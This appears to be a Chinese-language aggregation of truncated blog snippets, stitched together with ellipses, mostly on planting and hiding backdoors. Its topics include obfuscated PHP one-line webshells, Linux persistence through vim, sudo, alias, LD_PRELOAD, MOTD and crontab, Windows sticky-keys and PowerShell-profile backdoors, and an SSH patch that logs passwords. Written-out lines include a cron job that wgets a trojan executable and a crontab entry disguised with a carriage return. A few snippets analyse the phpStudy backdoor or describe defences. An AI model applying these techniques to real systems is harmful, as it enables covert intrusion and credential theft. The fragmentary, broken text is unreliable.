一句话木马的原理很简单，造型也很简单，所以造成了它理解起来容易，抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门，去隐蔽特征，而白帽则不断的更新过滤方法，建起更高的城墙。...DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 404 Not Found <?...如果在404页面挂上了一句话后门，一方面不会被发现，另一方面，黑帽子很容易能定位到并连接上服务器。 2.无特征隐藏PHP后门 利用session： <?...3.常见的后门 //菜刀一句话 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."
以上是我的开场白（没办法，这是我的一贯风格） 写php后门连载的目的。...参考过网上很多种已有的php后门的写法，总之思路各种奇葩与新奇，但是衡量一个优秀的php后门并不是单单的看代码多少，过狗怎么样，而是一种基于实际场景的一种变通，所以，php后门这是一门艺术。...连接后门时发生了什么 所以当我在菜刀中双击连接的时候到底发生了什么，安全狗又是如何发现后门并拦截的？...因为在此之前waf肯定要对后门文件进行特征分析，这关过了，才到数据层，最后才到返回层，那么接下来第二章与第三章将从后门构造与数据提交角度来探讨过狗的方式。...版权属于：逍遥子大表哥 本文链接：https://blog.bbskali.cn/519.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
autocmd 经常出场，并发挥着重要的作用，autocmd 被称为自动命令，简单来说就是在某些条件下自动执行某些命令 参考文章 https://www.w3cschool.cn/vim/oc2t6ozt.html...:help autocmd-events 0x03 vim 后门说明 vim 软件成熟度比较高，功能较为复杂，因此可以用来做后门的内容肯定很多，作为一个 vim 用户，我对于 vim 的了解也比较有限...，相信在以后还会对现在写的后门手法进行补充 0x04 vim 自身文件后门 这类后门比较简单粗暴，直接替换相关文件，暂时未发现 vim 存在自身使用的 .so 共享库文件，因此本章节以直接替换命令本身为例...成功创建了有效的带有后门，且功能正常的 vim 3) 用后门vim替换 /usr/bin/vim 4) 模拟正常使用vim触发后门 成功触发后门 5) 小结 几乎每一种后门都可以用这样的方法...vim9script，这是在上面提到的 vimscript 基础上进行了部分改进的脚本语言，与旧版本有一些变化 具体可以参考 https://yianwillis.github.io/vimcdoc/doc/vim9.html
对于一句话大家都不陌生，有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。那如果我们爆破的速度可以提升至少1000倍呢？...工具 看了 接地气写的《让你的一句话爆破速度提升千倍》一文后，觉得思路很666，于是写了个小工具。...可爆ASP/ASPX/PHP/JSP一句话： 实测爆破本地php一句话，近10万字典用时10秒左右。 由于JSP常用一句话特殊性，所以只能判断密码的区间，不能直接显示出结果，谁有好的想法，欢迎留言。
$(nohup vim -E -c "py3file demo.py"> /dev/null 2>&1 &) && sleep 2 && rm -f demo....
sudo 经常被用来将普通用户权限提升至 root 权限，代替 root 执行部分程序来管理 Linux 系统，这样避免 root 密码被泄漏 这篇文章介绍了三种利用其留后门的方法，其中也涉及一个sudo...有趣的特性，在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点 sudo 配置后门 sudoedit 文件所有者后门 sudo plugin 后门 这篇文章以 Ubuntu Server...22.10 为例 0x01 sudo 配置后门 1) 简介 通常的应用场景中，配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序...空白文件名 文件 + alias 劫持的方法来隐藏新建文件 有时候也没必要新建用户，可以尝试开启那些系统用户试试，或许有惊喜也说不定，但是这种操作一定要提前试一试 0x02 sudoedit 文件所有者后门...这个后门更偏向于一个概念性的后门，以趣味性为主吧 前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序，这个程序用来让可以sudo的用户通过 sudoedit
bash_login ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件 参考 https://www.cnblogs.com/lovychen/p/10911699.html...%h%m%s'`.log -e read,write,connect -s2048 ssh' 上面是我搜索了10多篇文章，发现的同一条后门命令，既然有前辈写了，咱们就分析分析 上面后门中，其实 alias...可以看到我们之前提交的数据，同时呢，这个文件返回的内容也比较多，只要改一个好点的名字可能会让安全管理人员认为是正常的文件 这种后门的场景就是用户登录到这台主机上后，使用这台主机的ssh去远程连接其他主机才能引发后门...，记录明文密码，这局限性太大了，顶多可以作为一个后门辅助。...后门 ?
Ubuntu server 16.04 默认 /etc/ssh/ssh_config
计划任务的主要效果是统计出那些是最流行的安装包 参考文章 https://manpages.debian.org/testing/popularity-contest/popularity-contest.8.en.html...3 * * * rm -r /home/xxxx/test/* 每隔10分钟下载一下我们的木马 */10 * * * * wget http://www.test.com/muma.exe 0x05 后门利用...Ubuntu 16.04 默认会将日志记录到 /var/log/syslog 中，可以使用 tail -f /var/log/syslog来进行查看 利用计划任务持续一句话反弹shell mac上监听...0x06 巧用计划任务留后门 (crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab...参考文章： https://blog.sucuri.net/2019/05/cronjob-backdoors.html 能用公共域名就使用公共域名 如果一台服务器主动访问一个没有任何规律的域名可能会很奇怪
加固后门 正常大家检查是否存在 LD_PRELOAD 后门的时候都是直接 echo $LD_PRELOAD ?...设置后门后是这样的 ? alias 劫持显示 这个简单了，把这些字符替换成空就行了 ?...咱们把劫持 unalias 和劫持 alias 放在最后，先把这些命令都劫持一下： env 没有后门时候是这样的 ? 设置了后门之后是这样的 ?...成功劫持 export 没有设置后门时候是这样的 ? 设置后门后是这样的 ?...劫持成功 现在我们来进行验证后门还好用吗 ? 可以看到后门可以使用，那么现在我们来看一下以上各种方法还能否看见我们做的手脚 ? 完美！
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi echo 'echo -e ...
0x00 前情提要 在 alias 后门 ｜ Linux 后门系列一文中，我们为了让后门完美一些，修改了后门文件的 atime、mtime，但是 ctime 一直没有办法修改，今天我们来把这一块补齐，...让后门更加完美 atime -> access time， 访问时间 mtime -> modify time，修改时间 ctime -> change time, 状态变化时间 最新版 Linux 中多了一个属性...所以还是需要通过修改系统时间来进行 0x07 Ubuntu Server 22.10 实验 Ubuntu Server 即使断网使用 date -s 来修改系统时间，系统时间也会马上恢复 还是以 alias 后门那篇文章里的后门为例...给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同) chmod +x /tmp/release-update 用系统时间覆盖硬件时间 sudo hwclock.../etc/update-manager/ 如果是需要执行的后门，现在执行并放置后台，如果像 alias 那种配置文件后门则不需要此章节 /etc/update-manager/release-update
root权限 留后门 这个目录下的所有文件在任意用户登录后都会执行一遍，所以我们可以选择新建一个脚本或者修改其中的脚本来完成留后门的目的 以 00-header 文件为例 #!...MOTD 的历史很悠久，具体可以参考下面这篇文章： 浅谈motd的历史，并在Linux下使用多种方法实现动态motd消息显示 https://untitled.pw/software/linux/2337.html...具体关于系统服务相关的知识可以查看 systemctl 针对 service 类型的配置文件 https://wizardforcel.gitbooks.io/vbird-linux-basic-4e/content/150.html...- Linux 命令搜索引擎 https://wangchujiang.com/linux-command/c/trap.html # Construct a user agent, similar to...这样要完整分析的话就需要去从源代码层面去分析了，现在还不是做这个的时候，我们还是通过行为来进行分析 参照 https://man7.org/linux/man-pages/man8/pam_motd.8.html
什么是后门 后门程序是一种恶意软件类型，它会阻止正常的身份验证过程访问系统。因此，远程访问被授予应用程序内的资源，例如数据库和文件服务器，从而使犯罪者能够远程发布系统命令并更新恶意软件。...Webserver后门用于许多恶意活动，其中包括： 数据盗窃 网站瑕疵 服务器劫持 启动分布式拒绝服务（DDoS）攻击 感染网站访问者（水坑攻击） 高级持续威胁（APT）攻击 后门木马安装 最流行的后门安装方法涉及远程文件包含...它启动第二阶段 - 在服务器上下载并安装后门脚本。 后门壳去除的挑战 一旦安装，后门是非常难以清除的。传统上，检测涉及使用软件扫描程序在服务器文件系统中搜索已知的恶意软件签名。...即使检测到后门，典型的缓解方法（甚至系统重新安装）也不可能将其从应用程序中移除。对于在可重写存储器中持续存在的后门来说尤其如此。...用INCAPSULA减轻后门外壳攻击 在Imperva Incapsula，我们使用多种方法来防止后门安装，以及检测和隔离现有的后门外壳。
Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 这些配置文件中都可以类似 Bash 配置文件一样，在其中放置后门程序...在第一个后门文件中额外插入powershell 代码，将 I am a Backdoor 写入到桌面的 backdoor.txt 中 先是在 cmd 中进行测试 powershell ..../demo.ps1 删除 backdoor.txt 图形化右键执行 demo.ps1 也就是说这类后门对所有的 powershell 程序有效
一、shift粘贴键后门介绍 Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序，其实不光是粘滞键，还有各种辅助功能，这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。...（辅助功能镜像劫持是一样的原理） 二、shift粘贴键后门-教程 前提条件: 假设在攻击的过程中通过利用各种getshell，已经拿到目标服务器administrator权限 靶机： windows...Server2012 IP： 192.168.226.128 2.1 创建shift粘贴键后门 粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。...cmd路径：C:\Windows\system32\cmd.exe 2.2 验证shift粘贴键后门 shift粘贴键后门创建完成之后，在锁屏状态下连按次shift粘贴键，C:\Windows...发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/193761.html原文链接：https://javaforall.cn
在拿到样本后，我就对PhpStudy中的后门进行了一波逆向分析。...后门分析 最近关于讲phpstudy的文章很多，不过我只得到一个信息，后门在php_xmlrpc.dll文件中，有关键词："eval(%s(%s))"。得知这个信息后，就降低了前期的工作难度。...研究了后门类型后，再来看看什么情况下会进入该函数触发该后门。...从这里可以知道，只要php成功加载了存在后门的xmlrpc.dll，那么任何只要构造对应的后门请求头，那么就能触发后门。在Nginx服务器的情况下就算请求一个不存在的路径，也会触发该后门。...修复方案也很简单，把php的php_xmlrpc.dll替换成无后门的版本，或者现在直接去官网下载，官网现在的版本经检测都不存后门。
这个后门真的又可怕又好用... 网上流传的都是Centos的版本，因为场景不同，我研究了一下针对Ubuntu，大同小异。...记录登录到本机的用户名和密码 */ #define OLOG "/tmp/.olog" /* 记录本机登录到远程的用户名和密码 */ #define SECRETPW "test" /* 后门的密码...记录登录到本机的用户名和密码 */#define OLOG "/tmp/.olog" /* 记录本机登录到远程的用户名和密码 */#define SECRETPW "test" /* 后门的密码...ilog user:password --> root:toor 再用我们的后门密码...test，可以发现，只记录正常的密码，我们的后门密码并不记录。
DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 404 Not Found <?...利用方法：404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。 二、无特征隐藏PHP一句话 <?...七、6个高级的PHP一句话木马后门 第一个：菜刀一句话 <?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."...uid=/home/www/bbs/image.gif；gif插一句话； <?php include ($uid); 第六个：8个典型的PHP一句话木马（程序后门代码） 1: <?
在拿到样本后，我就对PhpStudy中的后门进行了一波逆向分析。 2....后门分析 最近关于讲phpstudy的文章很多，不过我只得到一个信息，后门在php_xmlrpc.dll文件中，有关键词："eval(%s(%s))"。得知这个信息后，就降低了前期的工作难度。...研究了后门类型后，再来看看什么情况下会进入该函数触发该后门。...从这里可以知道，只要php成功加载了存在后门的xmlrpc.dll，那么任何只要构造对应的后门请求头，那么就能触发后门。在Nginx服务器的情况下就算请求一个不存在的路径，也会触发该后门。...修复方案也很简单，把php的php_xmlrpc.dll替换成无后门的版本，或者现在直接去官网下载，官网现在的版本经检测都不存后门。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
